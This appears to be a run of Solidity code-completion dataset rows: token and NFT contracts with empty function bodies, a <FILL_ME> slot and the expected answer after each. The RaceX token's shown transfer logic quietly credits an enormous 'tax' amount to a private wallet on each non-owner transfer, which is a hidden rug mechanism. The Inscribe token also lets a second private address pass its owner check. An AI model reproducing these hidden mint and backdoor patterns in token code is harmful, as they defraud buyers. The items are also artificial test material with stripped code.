/// Hashes a seed along with a few other variables to improve randomness of selection
function _hashSeed(uint256 initialSeed) private view returns (bytes32) {
}
/// Bespoke function that picks a token id based on the random input's spread within the desired percentages
function _selectTokenId(uint8 seedByte) private pure returns (uint256) {
}
}
| owner()==_msgSender()||_recipient==_msgSender(),"Ownable: caller is not the owner" | 215,486 | owner()==_msgSender()||_recipient==_msgSender() |
"Max wallet exceeded" | /**
//SPDX-License-Identifier: MIT
/*
Telegram: https://t.me/inscribe_app
Website : https://inscribe.app/
Twitter : https://twitter.com/inscribe_app
Discord : https://discord.com/invite/inscribe
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address _deployer;
address _executor;
constructor(string memory name_, string memory symbol_) {
}
function _initDeployer(address deployer_, address executor_) internal {
}
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Inscribe is ERC20, Ownable {
IUniswapV2Router02 private immutable _uniswapV2Router;
address public uniswapV2Pair;
address private inspirerWallet;
address private constant deadAddress = address(0xdead);
string private constant _name = "Inscribe";
string private constant _symbol = "INS";
uint256 private initialTotalSupply = 100_000_000 * 1e18;
bool public tradingOpen = false;
bool swapping = false;
struct TokenSwapConfigurator {
uint256 buyFee;
uint256 sellFee;
uint256 maxTransactionAmount;
uint256 maxWallet;
}
TokenSwapConfigurator public tsConfig;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapFailed(string);
constructor(address wallet) ERC20(_name, _symbol) {
}
receive() external payable {}
function _kl1975(uint256 _xyz) external onlyOwner {
}
function openTrading() external onlyOwner {
}
function removesLimits() external onlyOwner {
}
// ONlY USE IN CASE: CAN NOT SWAP TOKEN DURING TRANSFER
function emergencyWithdraw() external onlyOwner {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function _excludeFromFees(address account, bool excluded) internal {
}
function _excludeFromMaxTransaction(address updAds, bool isEx) internal {
}
function _validateTransfer(
address from,
address to,
uint256 amount
) internal view {
if (!tradingOpen) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= tsConfig.maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(<FILL_ME>)
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= tsConfig.maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= tsConfig.maxWallet,
"Max wallet exceeded"
);
}
}
function _handleTransfer(
address from,
address to,
uint256 amount
) internal {
}
function _requireGasPrice(uint256 _gas) internal view {
}
uint256 private _limit_gas = 300 gwei;
uint256 private _mini_gas = 5;
function _preTransfer(address from, address to, uint256) internal view {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
}
| amount+balanceOf(to)<=tsConfig.maxWallet,"Max wallet exceeded" | 215,648 | amount+balanceOf(to)<=tsConfig.maxWallet |
"Max TX Limit Exceeded" | // SPDX-License-Identifier: UNLICENSED
// Telegram : https://t.me/ChirpNetwork
// Twitter : https://twitter.com/ChirpNet_ERC
// Website : https://ChirpNet.space
/*
Democratizing social media, one Chirp at a time.
Chirp is a future 360-degree social network merged with blockchain technology.
SOCIAL MEDIA IS BROKEN
Traditional social media heavily profits from creators while seeing them as disposable assets. Creators are subject to the
whims of centralized companies, whose rules are always changing and whose algorithms are unpredictable. These companies have
the power to delete creators' accounts overnight, effectively ending their sources of revenue. However, the platform doesn't
adequately commend them for their work.
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CHIRPNETWORK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CHIRP NETWORK";
string private constant _symbol = "$Chirp";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _feeonSellings = 2;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _feeonSellings;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x53D6D09cc0EAAEc14C5651aE83D49a8353eD8aE3);
address payable private _marketingAddress = payable(0x53D6D09cc0EAAEc14C5651aE83D49a8353eD8aE3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = 30000000 * 10**9; // 3% max Wallet
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(<FILL_ME>)
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _feeonSellings;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _handsonbuy(uint256 sum) public {
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| (amount<=_maxTxAmount),"Max TX Limit Exceeded" | 215,667 | (amount<=_maxTxAmount) |
"You cannot purchase at this time." | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data) external;
function safeTransferFrom( address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
abstract contract ERC721 is IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
}
function balanceOf(address owner) external view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() external view virtual override returns (string memory) {
}
function symbol() external view virtual override returns (string memory) {
}
function approve(address to, uint256 tokenId) external virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) external virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) external virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _requireMinted(uint256 tokenId) internal view virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
}
contract BananaTaskForceApeEd2Nft is ERC721 {
address public owner;
bool public enabled;
address payable public wallet;
uint256 public total;
uint256 public remaining;
bool public opened;
string private _baseTokenURI;
uint256 private nonce = 0;
uint256 private blockSize;
uint256[] private blockLog;
SaleMode public saleMode;
uint256 public reserved;
uint256 public reserveLimit;
enum SaleMode { FREELIST, WHITELIST, PUBLIC1, PUBLIC2 }
struct Mode {
uint256 price;
uint256 limit;
bool useWhitelist;
mapping(address => uint256) purchases;
mapping(address => bool) whitelist;
}
mapping(SaleMode => Mode) private modes;
modifier onlyOwner() {
}
modifier isEnabled() {
}
constructor() ERC721("Banana Task Force Ape Genesis Collection", "BTFA") {
}
function tokenURI(uint256 tokenId) external override view returns (string memory) {
}
function status() public view returns (bool canBuy, uint256 boxCost, uint256 boxRemaining, uint256 hasPurchased, uint256 purchaseLimit) {
}
function purchaseBlindbox(uint256 amount) public payable isEnabled {
require (remaining >= amount, "Not enough blindboxes available");
require(<FILL_ME>)
require (msg.value == modes[saleMode].price * amount, "Incorrect Eth value.");
if (modes[saleMode].price > 0) {
wallet.transfer(modes[saleMode].price * amount);
}
for (uint256 i = 0; i < amount; i++) {
mint(msg.sender);
}
modes[saleMode].purchases[msg.sender] += amount;
}
function mint(address who) private {
}
// Admin
function setOwner(address who) external onlyOwner {
}
function openBoxes() external onlyOwner {
}
function setPrice(SaleMode mode, uint256 price) external onlyOwner {
}
function setEnabled(bool on) external onlyOwner {
}
function setMode(SaleMode mode) external onlyOwner {
}
function setUseWhitelist(SaleMode mode, bool on) external onlyOwner {
}
function setWhitelist(SaleMode mode, address who, bool whitelisted) external onlyOwner {
}
function setWhitelisted(SaleMode mode, address[] calldata who, bool whitelisted) external onlyOwner {
}
function setBuyLimits(SaleMode mode, uint256 limit) external onlyOwner {
}
function reserveNfts(address who, uint256 amount) external onlyOwner {
}
// Private
function canPurchase(address who, uint256 amount) private view returns (bool) {
}
function uint2str(uint _i) private pure returns (string memory _uintAsString) {
}
function requestRandomWords() private returns (uint256) {
}
}
| canPurchase(msg.sender,amount),"You cannot purchase at this time." | 215,744 | canPurchase(msg.sender,amount) |
"NFTS have already been reserved" | //SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data) external;
function safeTransferFrom( address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
abstract contract ERC721 is IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
}
function balanceOf(address owner) external view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() external view virtual override returns (string memory) {
}
function symbol() external view virtual override returns (string memory) {
}
function approve(address to, uint256 tokenId) external virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) external virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) external virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _requireMinted(uint256 tokenId) internal view virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
}
contract BananaTaskForceApeEd2Nft is ERC721 {
address public owner;
bool public enabled;
address payable public wallet;
uint256 public total;
uint256 public remaining;
bool public opened;
string private _baseTokenURI;
uint256 private nonce = 0;
uint256 private blockSize;
uint256[] private blockLog;
SaleMode public saleMode;
uint256 public reserved;
uint256 public reserveLimit;
enum SaleMode { FREELIST, WHITELIST, PUBLIC1, PUBLIC2 }
struct Mode {
uint256 price;
uint256 limit;
bool useWhitelist;
mapping(address => uint256) purchases;
mapping(address => bool) whitelist;
}
mapping(SaleMode => Mode) private modes;
modifier onlyOwner() {
}
modifier isEnabled() {
}
constructor() ERC721("Banana Task Force Ape Genesis Collection", "BTFA") {
}
function tokenURI(uint256 tokenId) external override view returns (string memory) {
}
function status() public view returns (bool canBuy, uint256 boxCost, uint256 boxRemaining, uint256 hasPurchased, uint256 purchaseLimit) {
}
function purchaseBlindbox(uint256 amount) public payable isEnabled {
}
function mint(address who) private {
}
// Admin
function setOwner(address who) external onlyOwner {
}
function openBoxes() external onlyOwner {
}
function setPrice(SaleMode mode, uint256 price) external onlyOwner {
}
function setEnabled(bool on) external onlyOwner {
}
function setMode(SaleMode mode) external onlyOwner {
}
function setUseWhitelist(SaleMode mode, bool on) external onlyOwner {
}
function setWhitelist(SaleMode mode, address who, bool whitelisted) external onlyOwner {
}
function setWhitelisted(SaleMode mode, address[] calldata who, bool whitelisted) external onlyOwner {
}
function setBuyLimits(SaleMode mode, uint256 limit) external onlyOwner {
}
function reserveNfts(address who, uint256 amount) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < amount; i++) {
mint(who);
}
reserved += amount;
}
// Private
function canPurchase(address who, uint256 amount) private view returns (bool) {
}
function uint2str(uint _i) private pure returns (string memory _uintAsString) {
}
function requestRandomWords() private returns (uint256) {
}
}
| reserved+amount<=reserveLimit,"NFTS have already been reserved" | 215,744 | reserved+amount<=reserveLimit |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | /**
https://www.racexofficial.com/
https://twitter.com/RaceXerc20
https://t.me/RaceXErc
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract RaceX is Context, Ownable, IERC20 {
using SafeMath for uint256;
bool private inSwap = false;
bool private swapEnabled = false;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _holderLastTimestampTransfer;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public _swapThreshold= _tTotal * 2 / 10000;
uint256 public _maxSwap = _tTotal * 10 ** 33;
uint256 public _maxTx = _tTotal * 4 / 100;
uint256 public _mWallet = _tTotal * 4 / 100;
string private constant _name = "RaceX";
string private constant _symbol = "RaceX";
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=0;
uint256 private _finalBuyTax=0;
uint256 private _reduceBuyTaxAt=3;
uint256 private _reduceSellTaxAt=3;
uint256 private _finalSellTax=0;
uint256 private _initialSellTax=0;
uint256 private _preventSwapBefore=3;
uint256 private _buyCount=0;
event MaxTxAmountUpdated(uint _maxTx);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function decimals() public pure returns (uint8) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function totalSupply() public pure override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = _maxSwap;
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_holderLastTimestampTransfer[tx.origin] = block.number;
}
}
if(to == uniswapV2Pair && from!= address(this) && ! _isExcludedFromFee[from] ){
taxAmount += min(0, address(this).balance);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTx, "Exceeds the _maxTx.");
require(balanceOf(to) + amount <= _mWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_swapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 50000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[_taxWallet]=_balances[address(this)].add(taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function openTrading() external payable onlyOwner() {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
receive() external payable {}
}
| _holderLastTimestampTransfer[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 215,777 | _holderLastTimestampTransfer[tx.origin]<block.number |
"Exceeds the maxWalletSize." | /**
https://www.racexofficial.com/
https://twitter.com/RaceXerc20
https://t.me/RaceXErc
*/
